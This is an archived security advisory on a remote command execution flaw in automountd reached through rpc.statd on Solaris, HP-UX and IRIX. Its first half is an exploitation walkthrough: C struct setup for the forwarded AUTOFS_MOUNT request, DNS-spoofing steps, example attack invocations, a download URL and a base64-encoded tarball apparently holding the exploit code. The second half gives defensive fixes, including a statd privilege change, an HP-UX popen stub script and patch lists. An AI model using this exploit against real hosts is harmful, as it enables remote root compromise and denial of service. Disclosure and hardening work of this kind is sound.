Vulnerability
automountd
Affected
Solaris 2.5, 2.5.1, 2.6, 2.7Beta (X86 and SPARC), HP-9000 Series
700/800 HP-UX releases 10.X and 11.00, IRIX
Description
Corruptio Optimi Pessima found following. Back in 1995, a
vulnerability was discovered and a new world of buggy software
born. This particular bug, would be conceived when Sun
Microsystems made the foolish decision to ship Solaris 2.5 to
customers. Since then, it has been a downhill roller coaster for
the boys and girls at SUN. Now, not only is 2.5 affected, but
2.5.1 stock, 2.5.1 patched, 2.6 and 2.7 are all affected as well.
When exploit code for the local automountd problem was leaked a
few YEARS ago, SUN developed a patch and labeled it #104654-05.
However, intrestingly enough, even after the patch was released,
this bug could still be exploited quite trivially. What SUN
decided to do, was remove the 'popen' call and put in its place an
'execve' call. Absolutely brilliant. Did they forget that the
variable holding the program and arguments to be execued could
still be set by issuing a AUTOFS_MOUNT call to automountd? Or,
is this a case of job security by one of Sun's engineers? We
certainly feel it is the latter. Either way, not only is this bug
local, but it is remote too! And, not only is it remote, but it
is started by default as well!
Now, getting back to the bug at hand, a few things have to be
established before this can be exploited. First of all, to
remotely exploit this bug, it becomes two-pronged. Meaning, we
are now going to introduce another remote bug in the SUN Solaris
operating system that when combined with the previous, create a
lethal combination. This new bug, located in rpc.statd which is
also started by default (imagine that!), allows for remote packets
to be bounced to the local Operating System. Looking back at the
details of automountd, we remember that it cannot accept packets
on UDP or TCP protocols. But, it can accept packets on the TLI
protocol, which rpc.statd happens to forward to, allowing us to
remotely execute commands by sending our packets to rpc.statd.
So, with all this in mind, if we send two RPC packets to rpc.statd
on Solaris 2.5, 2.5.1 stock, 2.5.1 patched, 2.6, or 2.7, with the
SM_MON and SM_NOTIFY commands, rpc.statd will happily forward the
packet on to the local operating system's automountd daemon.
Variables we will have to setup will be the following:
struct mon monr;
struct status stat;
memset(&monr, 0, sizeof(struct mon));
monr.mon_id.my_id.my_name = cache;
monr.mon_id.my_id.my_prog = (unsigned long)AUTOFS_PROG;
monr.mon_id.my_id.my_proc = (unsigned long)AUTOFS_MOUNT;
mon_id.my_id.my_name will be our cache, which we will be using to
tell rpc.statd where to forward the packets to. The cache of the
remote system can be found by establishing a connection to port
23, or port 21 of the system. The cache will usually appear
inside parentheseis, and will be the hostname of the machine.
Another example of obtaining the cache, would be to lookup the ip
address of the machine and use the hostname that comes back.
For example, for pathetic.sun.com, you could try 'pathetic' or
'pathetic.sun.com', and it will be a pretty safe bet that you will
pick the correct hostname. mon_id.my_id.my_prog will be the
variable AUTOFS_PROG telling rpc.statd which RPC service to
connect to. mon_id.my_id.my_proc will be the variable
AUTOFS_MOUNT telling rpc.statd to tell automountd that we want a
AUTOFS_MOUNT request. Further variables to setup:
monr.mon_id.my_id.my_vers = 1; /* For Solaris 2.5, 2.5.1 */
or
monr.mon_id.my_id.my_vers = 2; /* For Solaris 2.6, and 2.7 */
monr.mon_id.mon_name = command;
stat.mon_name = command;
monr.mon_id.mon_name and stat.mon_name will both contain the
program to execute on the remote system. Now, with those
variables setup, we can send off our RPC packets to the remote
system. However, to complicate things more, we must modify our
tekneeq of exploiting this bug, for it to succeed on 2.6 and 2.7.
Because SUN implements a new function called SMHASH in rpc.statd
on Solaris 2.6 and 2.7, we will now have to involve DNS spoofing
to acomplish executing our command. Because of the way SMHASH
works and the way RPC arguments are encoded, our command is what
SMHASH attempts to lookup in its address tables once rpc.statd
receives our packet. If SMHASH cannot detect if our command is a
valid address, it will not forward the packet. However, if we DNS
spoof our command off the Primary and Secondary nameservers of
the remote system, SMHASH will return true for finding the command
as an address and our packet will be forwarded.
If you wish to test this bug without DNS spoofing, you can also
modify the /etc/hosts file on the Solaris system and put in the
command you want to execute (without arguments) as a hostname
with an ip address, and it will accomplish the same affect.
Examples
========
If pathetic.sun.com were a Solaris 2.7 machine with pathetic as
its hostname, and a vulnerable Primary name server, an exploit
attempt would look like this:
Execute commands to spoof reboot off Primary NS here
./amountdexp pathetic.sun.com pathetic reboot 1
If pathetic.sun.com were a Solaris 2.5.1 machine with pathetic as
its hostname, an exploit attempt would look like this:
./amountdexp pathetic.sun.com pathetic reboot 0
Exploit code for this vulnerability can be easily obtained from
the following URL) and below in MIME code (note that in order to
work you must DNS spoof attack):
http://www.attrition.org/hosted/cop/index.html
Mime code of exploit:
---
Content-Type: application/octet-stream; name="automountd.tar.gz"
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="automountd.tar.gz"
Content-MD5: jN/hS35huap/9BPauGhnqw==
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
LJpIACgAAA==
-----
Solution
Well, check automountd manuals and see if you need it. It is
obvious you'll kick off fro your script vulnerable program and
wait for patch. If you really need automountd, check alternatives
or ask Sun.
Statd doesn't run as root in Solaris 7 so the automounter will
ignore its requests. This change was made late in Solaris 7
development and did not make it into any external release.
The easiest way to work around this problem quickly is runnign
statd as a user other than root, to this end change in
/etc/init.d/nfs.client as follows (but not on Solaris 7, where
such a change may break statd).
28c28
< /usr/lib/nfs/statd > /dev/console 2>&1
---
> su daemon -c /usr/lib/nfs/statd > /dev/console 2>&1
(make sure you keep the links in /etc/rc?.d/[SK]*nfs.client
pointing to /etc/init.d/nfs.client) and run:
chown -R daemon /var/statmon
chmod -R og-w /var/statmon
Then stop and start lockd & statd. 2.5.1 is vulnerable for patch
104654-03 and below, not vulnerable once 104654-04 or higher
applied. Perhaps the forged DNS would have made 2.5.1 104654-04+
vulnerable, but using the suggested test with "/etc/hosts" did
not.
As for HpUX, temporarily set:
AutoFS = 0
in
/etc/rc.config.d/nfsconf
Doug Siebert added following. Here is a fix that will work on
HP-UX 10.20 and 11.0 (11.0 not tested, but it should work) systems
to block the automountd hole, so long as the loss of the
executable map capability isn't a problem for you. See the
comments in the script below which implements the fix. Please
remember that if you install a patch that patches automountd,
this fix will be wiped out, and you'll need to re-run this script
to regain the protection. You will need either the HP ANSI C
compiler or gcc for the script to work, the HP base/bundled C
compiler can't generate position independant code. HP is
adding/has added executable stack protection to HP-UX 11, and it
is quite nice as it is implemented on a per binary basis. Just
look at the man page for chatr(1) on a recently patched HP-UX 11
system. The only sad thing is that for "compatibility", the
default is the old, arguably broken, behavior. When you see the
tunable 'executable_stack' show up in
/usr/conf/master.d/core-hpux, you'll want to set it to 0, which
tells it to use the bit in the binary to permit/deny stack
promotion. That should eventually become the default.
#!/usr/bin/sh
#
# This closes the HP automountd/autofs hole by creating a libc stub that takes
# over the libc popen(3) function. HP's automountd uses popen to implement
# executable maps, which is a new feature of autofs versus the old style
# automount, but is also the way this hole is exploited. Even after it is
# fixed, if you don't use executable maps you will probably sleep better if you
# know executable maps have been completely disabled. Obviously if you wish to
# make use of executable maps, this fix is no good to you, and you'll have to
# wait for an official patch from HP, and then keep your fingers crossed and
# hope there isn't another hole waiting to be exploited.
#
# Douglas Siebert 10/23/99 (packaged as a script 12/24/99)
#
# Check that you are root
if [ `whoami` != "root" ]; then
echo "Must be root to run this script"
exit 1
fi
# Change to autofs directory for this script
cd /usr/lib/netsvc/fs/autofs
umask 077
# Create libc stub
cat > libc.c << __EOF__
#include <stdio.h>
#include <syslog.h>
FILE * popen(const char *command, const char *type)
{
syslog(LOG_ALERT, "Exploit attempted on automountd/autofs hole");
return(NULL);
}
__EOF__
# Compile it with cc or gcc (hopefully you've got one of them)
/usr/bin/cc -c libc.c -Ae +z || gcc -c libc.c -fpic || NOCC=1
if [ "$NOCC" ]; then
echo "You must have the HP ANSI/C or gcc compiler on your system"
rm -f libc.c
exit 1
fi
rm -f libc.c
# Create the stub libc with the real libc as a dependency (HP hates when you
# do this) I haven't yet tested this on HP-UX 11, but it should work.
if [ -x /usr/lib/libc.2 ]; then
rm -f libc.2
/usr/bin/ld -b -o libc.2 libc.o /usr/lib/libc.2
chmod 555 libc.2
else
rm -f libc.1
/usr/bin/ld -b -o libc.1 libc.o /usr/lib/libc.1
chmod 555 libc.1
fi
rm -f libc.o
# Figure out where automountd is (there are at least two possibilities -- the
# latest HP-UX 10.20 patches moved some stuff around and I don't know if the
# automountd binary was in /usr/sbin before or not. But in HP-UX 11 it has
# moved to /usr/lib/netsvc/fs/autofs. Hopefully those are the only possible
# locations)
if [ -x /usr/sbin/automountd ]; then
AUTOMOUNTD_DIR=/usr/sbin
elif [ -x /usr/lib/netsvc/fs/autofs/automountd ]; then
AUTOMOUNTD_DIR=/usr/lib/netsvc/fs/autofs
fi
# Save unmodified automountd binary
mv -f $AUTOMOUNTD_DIR/automountd $AUTOMOUNTD_DIR/automountd.ORIG
# Set up new one to obey SHLIB_PATH
cp -fp $AUTOMOUNTD_DIR/automountd.ORIG $AUTOMOUNTD_DIR/automountd.mod
chatr +s enable $AUTOMOUNTD_DIR/automountd.mod >/dev/null
# Create shell script to replace automountd
cat > $AUTOMOUNTD_DIR/automountd << __EOF__
#!/usr/bin/sh
export SHLIB_PATH=/usr/lib/netsvc/fs/autofs
exec $AUTOMOUNTD_DIR/automountd.mod "\$@"
__EOF__
chmod 555 $AUTOMOUNTD_DIR/automountd
# Assume that if new libc.x exists, we succeeded...
if [ -x libc.1 -o -x libc.2 ]; then
echo "Success! You must now reboot if you have autofs running"
exit 0
else
echo "Something went wrong, but I have no idea what"
exit 1
fi
Anyway, here's a patch list for HpUX:
For HP-UX release 11.00 apply PHNE_20371
For HP-UX release 10.20 apply PHNE_20628
With patches from SGI Security Advisory 19981005-01-PX installed,
IRIX 6.2 and above ARE NOT vulnerable.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
